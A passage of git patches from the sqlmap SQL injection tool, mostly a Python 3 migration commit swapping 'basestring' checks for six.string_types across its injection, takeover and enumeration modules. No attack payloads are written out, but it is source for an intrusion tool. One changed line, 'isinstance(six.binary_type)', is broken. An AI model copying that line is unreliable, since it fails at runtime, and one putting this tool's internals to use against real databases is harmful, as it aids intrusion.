VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/search.py b/lib/utils/search.py index a4a0b7c9bb9..ddb6111a416 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -70,7 +70,7 @@ def _search(dork): conn = _urllib.request.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url - requestMsg += " %s" % _http_client.HTTPException._http_vsn_str + requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) page = conn.read() @@ -132,7 +132,7 @@ def _search(dork): conn = _urllib.request.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url - requestMsg += " %s" % _http_client.HTTPException._http_vsn_str + requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) page = conn.read() From afe497a954cb06842a9e2581393381c4e01f940a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 28 Mar 2019 13:53:54 +0100 Subject: [PATCH 192/800] Dealing with basesting (one baby step closer to Py3 salvation) --- lib/controller/checks.py | 3 +- lib/core/common.py | 83 +++++++++++++------------ lib/core/convert.py | 3 +- lib/core/dump.py | 12 ++-- lib/core/option.py | 7 ++- lib/core/settings.py | 2 +- lib/parse/payloads.py | 4 +- lib/request/basic.py | 4 +- lib/request/connect.py | 11 ++-- lib/request/inject.py | 3 +- lib/request/redirecthandler.py | 2 +- lib/takeover/metasploit.py | 3 +- lib/takeover/udf.py | 4 +- lib/techniques/blind/inference.py | 10 +-- lib/techniques/error/use.py | 7 ++- lib/techniques/union/use.py | 9 +-- lib/utils/hash.py | 7 ++- lib/utils/pivotdumptable.py | 2 +- plugins/dbms/maxdb/enumeration.py | 3 +- plugins/dbms/mssqlserver/enumeration.py | 8 +-- plugins/dbms/sybase/enumeration.py | 5 +- plugins/generic/databases.py | 6 +- plugins/generic/entries.py | 5 +- plugins/generic/search.py | 3 +- thirdparty/clientform/clientform.py | 4 +- 25 files changed, 112 insertions(+), 98 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 26eeaa8552a..ab0110845cf 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -105,6 +105,7 @@ from lib.request.templates import getPageTemplate from lib.techniques.union.test import unionTest from lib.techniques.union.use import configUnion +from thirdparty import six from thirdparty.six.moves import http_client as _http_client def checkSqlInjection(place, parameter, value): @@ -692,7 +693,7 @@ def genCmpPayload(): # Test for UNION query SQL injection reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix) - if isinstance(reqPayload, basestring): + if isinstance(reqPayload, six.string_types): infoMsg = "%s parameter '%s' is '%s' injectable" % (paramType, parameter, title) logger.info(infoMsg) diff --git a/lib/core/common.py b/lib/core/common.py index 0c00d1cc0b1..a2d4ccd1422 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -167,6 +167,7 @@ from lib.core.settings import WEBSCARAB_SPLITTER from lib.core.threads import getCurrentThreadData from lib.utils.sqlalchemy import _sqlalchemy +from thirdparty import six from thirdparty.clientform.clientform import ParseResponse from thirdparty.clientform.clientform import ParseError from thirdparty.colorama.initialise import init as coloramainit @@ -355,7 +356,7 @@ def setDbms(dbms): @staticmethod def setVersion(version): - if isinstance(version, basestring): + if isinstance(version, six.string_types): kb.dbmsVersion = [version] return kb.dbmsVersion @@ -364,7 +365,7 @@ def setVersion(version): def setVersionList(versionsList): if isinstance(versionsList, list): kb.dbmsVersion = versionsList - elif isinstance(versionsList, basestring): + elif isinstance(versionsList, six.string_types): Backend.setVersion(versionsList) else: logger.error("invalid format of versionsList") @@ -387,7 +388,7 @@ def setOs(os): return None # Little precaution, in theory this condition should always be false - elif kb.os is not None and isinstance(os, basestring) and kb.os.lower() != os.lower(): + elif kb.os is not None and isinstance(os, six.string_types) and kb.os.lower() != os.lower(): msg = "sqlmap previously fingerprinted back-end DBMS " msg += "operating system %s. However now it has " % kb.os msg += "been fingerprinted to be %s. " % os @@ -406,7 +407,7 @@ def setOs(os): warnMsg = "invalid value" logger.warn(warnMsg) - elif kb.os is None and isinstance(os, basestring): + elif kb.os is None and isinstance(os, six.string_types): kb.os = os.capitalize() return kb.os @@ -416,7 +417,7 @@ def setOsVersion(version): if version is None: return None - elif kb.osVersion is None and isinstance(version, basestring): + elif kb.osVersion is None and isinstance(version, six.string_types): kb.osVersion = version @staticmethod @@ -436,7 +437,7 @@ def setArch(): while True: choice = readInput(msg, default='1') - if isinstance(choice, basestring) and choice.isdigit() and int(choice) in (1, 2): + if hasattr(choice, "isdigit") and choice.isdigit() and int(choice) in (1, 2): kb.arch = 32 if int(choice) == 1 else 64 break else: @@ -640,7 +641,7 @@ def walk(head, current=None): if isinstance(value, (list, tuple, set, dict)): if value: walk(head, value) - elif isinstance(value, (bool, int, float, basestring)): + elif isinstance(value, (bool, int, float, six.string_types)): original = current[key] if isinstance(value, bool): current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER) @@ -884,7 +885,7 @@ def setColor(message, color=None, bold=False, level=None): if bold or color: retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None) elif level: - level = getattr(logging, level, None) if isinstance(level, basestring) else level + level = getattr(logging, level, None) if isinstance(level, six.string_types) else level retVal = LOGGER_HANDLER.colorize(message, level) return retVal @@ -935,7 +936,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status= if multiThreadMode: logging._releaseLock() - kb.prependFlag = isinstance(data, basestring) and (len(data) == 1 and data not in ('\n', '\r') or len(data) > 2 and data[0] == '\r' and data[-1] != '\n') + kb.prependFlag = isinstance(data, six.string_types) and (len(data) == 1 and data not in ('\n', '\r') or len(data) > 2 and data[0] == '\r' and data[-1] != '\n') def dataToTrafficFile(data): if not conf.trafficFile: @@ -1068,7 +1069,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False): finally: logging._releaseLock() - if retVal and default and isinstance(default, basestring) and len(default) == 1: + if retVal and default and isinstance(default, six.string_types) and len(default) == 1: retVal = retVal.strip() if boolean: @@ -1663,7 +1664,7 @@ def parseUnionPage(page): else: data = page - if len(data) == 1 and isinstance(data[0], basestring): + if len(data) == 1 and isinstance(data[0], six.string_types): data = data[0] return data @@ -1861,7 +1862,7 @@ def safeStringFormat(format_, params): else: retVal = re.sub(r"(\A|[^A-Za-z0-9])(%d)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>", format_) - if isinstance(params, basestring): + if isinstance(params, six.string_types): retVal = retVal.replace("%s", params, 1) elif not isListLike(params): retVal = retVal.replace("%s", getUnicode(params), 1) @@ -2383,9 +2384,9 @@ def getUnicode(value, encoding=None, noneToNull=False): if noneToNull and value is None: return NULL - if isinstance(value, unicode): + if isinstance(value, six.text_type): return value - elif isinstance(value, basestring): + elif isinstance(value, six.binary_type): # Heuristics (if encoding not explicitly specified) candidates = filter(None, (encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding())) if all(_ in value for _ in ('<', '>')): @@ -2397,16 +2398,16 @@ def getUnicode(value, encoding=None, noneToNull=False): for candidate in candidates: try: - return unicode(value, candidate) + return six.text_type(value, candidate) except UnicodeDecodeError: pass while True: try: - return unicode(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) + return six.text_type(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) except UnicodeDecodeError as ex: try: - return unicode(value, UNICODE_ENCODING) + return six.text_type(value, UNICODE_ENCODING) except: value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] elif isListLike(value): @@ -2414,9 +2415,9 @@ def getUnicode(value, encoding=None, noneToNull=False): return value else: try: - return unicode(value) + return six.text_type(value) except UnicodeDecodeError: - return unicode(str(value), errors="ignore") # encoding ignored for non-basestring instances + return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances def longestCommonPrefix(*sequences): """ @@ -2568,7 +2569,7 @@ def extractErrorMessage(page): retVal = None - if isinstance(page, basestring): + if isinstance(page, six.string_types): for regex in ERROR_PARSING_REGEXES: match = re.search(regex, page, re.IGNORECASE) @@ -2867,7 +2868,7 @@ def isNumPosStrValue(value): False """ - return (value and isinstance(value, basestring) and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0) + return (hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0) @cachedmethod def aliasToDbmsEnum(dbms): @@ -3015,7 +3016,7 @@ def isDBMSVersionAtLeast(version): value = filterStringValue(value, '[0-9.><=]') - if value and isinstance(value, basestring): + if value and isinstance(value, six.string_types): if value.startswith(">="): value = float(value.replace(">=", "")) elif value.startswith(">"): @@ -3145,7 +3146,7 @@ def saveConfig(conf, filename): elif datatype == OPTION_TYPE.STRING: value = "" - if isinstance(value, basestring): + if isinstance(value, six.string_types): value = value.replace("\n", "\n ") config.set(family, option, value) @@ -3176,7 +3177,7 @@ def initTechnique(technique=None): for key, value in kb.injection.conf.items(): if value and (not hasattr(conf, key) or (hasattr(conf, key) and not getattr(conf, key))): setattr(conf, key, value) - debugMsg = "resuming configuration option '%s' (%s)" % (key, ("'%s'" % value) if isinstance(value, basestring) else value) + debugMsg = "resuming configuration option '%s' (%s)" % (key, ("'%s'" % value) if isinstance(value, six.string_types) else value) logger.debug(debugMsg) if value and key == "optimize": @@ -3586,8 +3587,8 @@ def intersect(containerA, containerB, lowerCase=False): containerB = arrayizeValue(containerB) if lowerCase: - containerA = [val.lower() if isinstance(val, basestring) else val for val in containerA] - containerB = [val.lower() if isinstance(val, basestring) else val for val in containerB] + containerA = [val.lower() if hasattr(val, "lower") else val for val in containerA] + containerB = [val.lower() if hasattr(val, "lower") else val for val in containerB] retVal = [val for val in containerA if val in containerB] @@ -3730,7 +3731,7 @@ def safeSQLIdentificatorNaming(name, isTable=False): retVal = name - if isinstance(name, basestring): + if isinstance(name, six.string_types): retVal = getUnicode(name) _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) @@ -3769,7 +3770,7 @@ def unsafeSQLIdentificatorNaming(name): retVal = name - if isinstance(name, basestring): + if isinstance(name, six.string_types): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): retVal = name.replace("`", "") elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB): @@ -3800,7 +3801,7 @@ def isNoneValue(value): False """ - if isinstance(value, basestring): + if isinstance(value, six.string_types): return value in ("None", "") elif isListLike(value): return all(isNoneValue(_) for _ in value) @@ -3819,7 +3820,7 @@ def isNullValue(value): False """ - return isinstance(value, basestring) and value.upper() == NULL + return hasattr(value, "upper") and value.upper() == NULL def expandMnemonics(mnemonics, parser, args): """ @@ -3921,7 +3922,7 @@ def safeCSValue(value): retVal = value - if retVal and isinstance(retVal, basestring): + if retVal and isinstance(retVal, six.string_types): if not (retVal[0] == retVal[-1] == '"'): if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')): retVal = '"%s"' % retVal.replace('"', '""') @@ -4375,7 +4376,7 @@ def decodeHexValue(value, raw=False): def _(value): retVal = value - if value and isinstance(value, basestring): + if value and isinstance(value, six.string_types): if len(value) % 2 != 0: retVal = "%s?" % hexdecode(value[:-1]) if len(value) > 1 else value singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value) @@ -4423,7 +4424,7 @@ def extractExpectedValue(value, expected): elif expected == EXPECTED.BOOL: if isinstance(value, int): value = bool(value) - elif isinstance(value, basestring): + elif isinstance(value, six.string_types): value = value.strip().lower() if value in ("true", "false"): value = value == "true" @@ -4436,7 +4437,7 @@ def extractExpectedValue(value, expected): else: value = None elif expected == EXPECTED.INT: - if isinstance(value, basestring): + if isinstance(value, six.string_types): value = int(value) if value.isdigit() else None return value @@ -4447,7 +4448,7 @@ def hashDBWrite(key, value, serialize=False): """ if conf.hashDB: - _ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) + _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) conf.hashDB.write(_, value, serialize) def hashDBRetrieve(key, unserialize=False, checkConf=False): @@ -4458,10 +4459,10 @@ def hashDBRetrieve(key, unserialize=False, checkConf=False): retVal = None if conf.hashDB: - _ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) + _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None - if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, basestring) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): + if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, six.string_types) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): retVal = None return retVal @@ -4697,7 +4698,7 @@ def _parseBurpLog(content): reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S) for match in reqResList: - request = match if isinstance(match, basestring) else match.group(1) + request = match if isinstance(match, six.string_types) else match.group(1) request = re.sub(r"\A[^\w]+", "", request) schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S) @@ -4789,7 +4790,7 @@ def _parseBurpLog(content): data = data.rstrip("\r\n") if data else data if getPostReq and (params or cookie or not checkParams): - if not port and isinstance(scheme, basestring) and scheme.lower() == "https": + if not port and hasattr(scheme, "lower") and scheme.lower() == "https": port = "443" elif not scheme and port == "443": scheme = "https" @@ -4836,9 +4837,9 @@ def getSafeExString(ex, encoding=None): retVal = ex.message elif getattr(ex, "msg", None): retVal = ex.msg - elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], basestring): + elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], six.string_types): retVal = ex[1] - elif isinstance(ex, (list, tuple)) and len(ex) > 0 and isinstance(ex[0], basestring): + elif isinstance(ex, (list, tuple)) and len(ex) > 0 and isinstance(ex[0], six.string_types): retVal = ex[0] if retVal is None: diff --git a/lib/core/convert.py b/lib/core/convert.py index 91abe7f9a93..16c6d6b55fa 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -17,6 +17,7 @@ from lib.core.settings import IS_WIN from lib.core.settings import UNICODE_ENCODING +from thirdparty import six def base64decode(value): """ @@ -145,7 +146,7 @@ def htmlunescape(value): """ retVal = value - if value and isinstance(value, basestring): + if value and isinstance(value, six.string_types): codes = (("<", '<'), (">", '>'), (""", '"'), (" ", ' '), ("&", '&'), ("'", "'")) retVal = reduce(lambda x, y: x.replace(y[0], y[1]), codes, retVal) try: diff --git a/lib/core/dump.py b/lib/core/dump.py index 71affa0edc1..c43e1083279 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -133,7 +133,7 @@ def string(self, header, data, content_type=None, sort=True): if "\n" in _: self._write("%s:\n---\n%s\n---" % (header, _)) else: - self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, basestring) else _)) + self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _)) else: self._write("%s:\tNone" % header) @@ -142,7 +142,7 @@ def lister(self, header, elements, content_type=None, sort=True): try: elements = set(elements) elements = list(elements) - elements.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _) + elements.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) except: pass @@ -154,7 +154,7 @@ def lister(self, header, elements, content_type=None, sort=True): self._write("%s [%d]:" % (header, len(elements))) for element in elements: - if isinstance(element, basestring): + if isinstance(element, six.string_types): self._write("[*] %s" % element) elif isListLike(element): self._write("[*] " + ", ".join(getUnicode(e) for e in element)) @@ -193,7 +193,7 @@ def userSettings(self, header, userSettings, subHeader, content_type=None): userSettings = userSettings[0] users = userSettings.keys() - users.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _) + users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) if conf.api: self._write(userSettings, content_type=content_type) @@ -287,7 +287,7 @@ def dbTableColumns(self, tableColumns, content_type=None): colType = None colList = columns.keys() - colList.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _) + colList.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) for column in colList: colType = columns[column] @@ -379,7 +379,7 @@ def dbTablesCount(self, dbTables): if count is None: count = "Unknown" - tables.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _) + tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) for table in tables: blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or unicode(table))) diff --git a/lib/core/option.py b/lib/core/option.py index adb3291e0b7..72153e0c636 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -147,6 +147,7 @@ from lib.utils.deps import checkDependencies from lib.utils.search import search from lib.utils.purge import purge +from thirdparty import six from thirdparty.keepalive import keepalive from thirdparty.multipart import multipartpost from thirdparty.six.moves import http_client as _http_client @@ -658,7 +659,7 @@ def _setTechnique(): validTechniques = sorted(getPublicTypeMembers(PAYLOAD.TECHNIQUE), key=lambda x: x[1]) validLetters = [_[0][0].upper() for _ in validTechniques] - if conf.tech and isinstance(conf.tech, basestring): + if conf.tech and isinstance(conf.tech, six.string_types): _ = [] for letter in conf.tech.upper(): @@ -1737,7 +1738,7 @@ class _(unicode): if conf.csvDel: conf.csvDel = decodeStringEscape(conf.csvDel) - if conf.torPort and isinstance(conf.torPort, basestring) and conf.torPort.isdigit(): + if conf.torPort and hasattr(conf.torPort, "isdigit") and conf.torPort.isdigit(): conf.torPort = int(conf.torPort) if conf.torType: @@ -2576,7 +2577,7 @@ def _basicOptionValidation(): errMsg = "option '--crack' should be used as a standalone" raise SqlmapSyntaxException(errMsg) - if isinstance(conf.uCols, basestring): + if isinstance(conf.uCols, six.string_types): if not conf.uCols.isdigit() and ("-" not in conf.uCols or len(conf.uCols.split("-")) != 2): errMsg = "value for option '--union-cols' must be a range with hyphon " errMsg += "(e.g. 1-10) or integer value (e.g. 5)" diff --git a/lib/core/settings.py b/lib/core/settings.py index 00bc586ce80..af1c8933364 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.67" +VERSION = "1.3.3.68" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index 46612d5b86d..23368f2d438 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -24,8 +24,8 @@ def cleanupVals(text, tag): if tag in ("clause", "where"): text = text.split(',') - if isinstance(text, basestring): - text = int(text) if text.isdigit() else text + if hasattr(text, "isdigit") and text.isdigit(): + text = int(text) elif isinstance(text, list): count = 0 diff --git a/lib/request/basic.py b/lib/request/basic.py index 0345dff1177..255c318af53 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -257,12 +257,12 @@ def decodePage(page, contentEncoding, contentType): if not page or (conf.nullConnection and len(page) < 2): return getUnicode(page) - if isinstance(contentEncoding, basestring) and contentEncoding: + if hasattr(contentEncoding, "lower"): contentEncoding = contentEncoding.lower() else: contentEncoding = "" - if isinstance(contentType, basestring) and contentType: + if hasattr(contentType, "lower"): contentType = contentType.lower() else: contentType = "" diff --git a/lib/request/connect.py b/lib/request/connect.py index 483767ad299..aa8e89a98ef 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -118,6 +118,7 @@ class WebSocketException(Exception): from lib.request.direct import direct from lib.request.comparison import comparison from lib.request.methodrequest import MethodRequest +from thirdparty import six from thirdparty.odict import OrderedDict from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib @@ -432,7 +433,7 @@ class _(dict): responseHeaders = _(ws.getheaders()) responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()] - requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) + requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) requestMsg += "\r\n%s" % requestHeaders if post is not None: @@ -453,7 +454,7 @@ class _(dict): else: return None, None, None - requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()]) + requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in req.header_items()]) if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: conf.cj._policy._now = conf.cj._now = int(time.time()) @@ -745,7 +746,7 @@ class _(dict): raise SqlmapConnectionException(warnMsg) finally: - if isinstance(page, basestring) and not isinstance(page, unicode): + if isinstance(six.binary_type): if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]): page = unicode(page, errors="ignore") else: @@ -858,7 +859,7 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex)) raise SqlmapGenericException(errMsg) - if not isinstance(payload, basestring): + if not isinstance(payload, six.string_types): errMsg = "tamper function '%s' returns " % function.func_name errMsg += "invalid payload type ('%s')" % type(payload) raise SqlmapValueException(errMsg) @@ -1156,7 +1157,7 @@ def _randomizeParameter(paramString, randomParameter): for name, value in variables.items(): if name != "__builtins__" and originals.get(name, "") != value: - if isinstance(value, (basestring, int)): + if isinstance(value, (int, six.string_types)): found = False value = getUnicode(value, UNICODE_ENCODING) diff --git a/lib/request/inject.py b/lib/request/inject.py index 293fdf29068..f08ffbefad8 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -59,6 +59,7 @@ from lib.techniques.dns.use import dnsUse from lib.techniques.error.use import errorUse from lib.techniques.union.use import unionUse +from thirdparty import six def _goDns(payload, expression): value = None @@ -334,7 +335,7 @@ def _goUnion(expression, unpack=True, dump=False): output = unionUse(expression, unpack=unpack, dump=dump) - if isinstance(output, basestring): + if isinstance(output, six.string_types): output = parseUnionPage(output) return output diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 7984768924d..0fd68d0bd5c 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -95,7 +95,7 @@ def http_error_302(self, req, fp, code, msg, headers): redirectMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, getUnicode(msg)) if headers: - logHeaders = "\r\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in headers.items()) + logHeaders = "\r\n".join("%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in headers.items()) else: logHeaders = "" diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 7a50b1c6d0e..d8f40d7bed6 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -45,6 +45,7 @@ from lib.core.subprocessng import Popen as execute from lib.core.subprocessng import send_all from lib.core.subprocessng import recv_some +from thirdparty import six if IS_WIN: import msvcrt @@ -186,7 +187,7 @@ def _selectEncoder(self, encode=True): # choose which encoder to use. When called from --os-pwn the encoder # is always x86/alpha_mixed - used for sys_bineval() and # shellcodeexec - if isinstance(encode, basestring): + if isinstance(encode, six.string_types): return encode elif encode: diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index afb05c37ffe..7c744f3b2f0 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -300,7 +300,7 @@ def udfInjectCustom(self): while True: retType = readInput(msg, default=defaultType) - if isinstance(retType, basestring) and retType.isdigit(): + if hasattr(retType, "isdigit") and retType.isdigit(): logger.warn("you need to specify the data-type of the return value") else: self.udfs[udfName]["return"] = retType @@ -338,7 +338,7 @@ def udfInjectCustom(self): if choice == 'Q': break - elif isinstance(choice, basestring) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList): + elif hasattr(choice, "isdigit") and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList): choice = int(choice) break elif isinstance(choice, int) and choice > 0 and choice <= len(udfList): diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 741abf4535c..8355b5af1b3 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -117,20 +117,20 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None firstChar = len(partialValue) elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression): firstChar = 0 - elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): + elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 if kb.fileReadMode: firstChar <<= 1 - elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int): + elif hasattr(firstChar, "isdigit") and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if re.search(r"(?i)\b(LENGTH|LEN)\(", expression): lastChar = 0 - elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): + elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) - elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int): + elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: lastChar = 0 @@ -143,7 +143,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None else: expressionUnescaped = unescaper.escape(expression) - if isinstance(length, basestring) and length.isdigit() or isinstance(length, int): + if hasattr(length, "isdigit") and length.isdigit() or isinstance(length, int): length = int(length) else: length = None diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 62b38c713e9..b68274f1261 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -57,6 +57,7 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar +from thirdparty import six def _oneShotErrorUse(expression, field=None, chunkTest=False): offset = 1 @@ -201,7 +202,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): retVal = decodeHexValue(retVal) if conf.hexConvert else retVal - if isinstance(retVal, basestring): + if isinstance(retVal, six.string_types): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) @@ -277,7 +278,7 @@ def _formatPartialContent(value): Prepares (possibly hex-encoded) partial content for safe console output """ - if value and isinstance(value, basestring): + if value and isinstance(value, six.string_types): try: value = hexdecode(value) except: @@ -447,7 +448,7 @@ def errorThread(): value = _errorFields(expression, expressionFields, expressionFieldsList) if value and isListLike(value): - if len(value) == 1 and isinstance(value[0], basestring): + if len(value) == 1 and isinstance(value[0], six.string_types): value = unArrayizeValue(value) elif len(value) > 1 and stopLimit == 1: value = [value] diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 234e3eeab67..0611359d638 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -59,6 +59,7 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar +from thirdparty import six from thirdparty.odict import OrderedDict def _oneShotUnionUse(expression, unpack=True, limited=False): @@ -163,7 +164,7 @@ def _(regex): def configUnion(char=None, columns=None): def _configUnionChar(char): - if not isinstance(char, basestring): + if not isinstance(char, six.string_types): return kb.uChar = char @@ -172,7 +173,7 @@ def _configUnionChar(char): kb.uChar = char.replace("[CHAR]", conf.uChar if conf.uChar.isdigit() else "'%s'" % conf.uChar.strip("'")) def _configUnionCols(columns): - if not isinstance(columns, basestring): + if not isinstance(columns, six.string_types): return columns = columns.replace(" ", "") @@ -261,7 +262,7 @@ def unionUse(expression, unpack=True, dump=False): infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") logger.info(infoMsg) - elif count and (not isinstance(count, 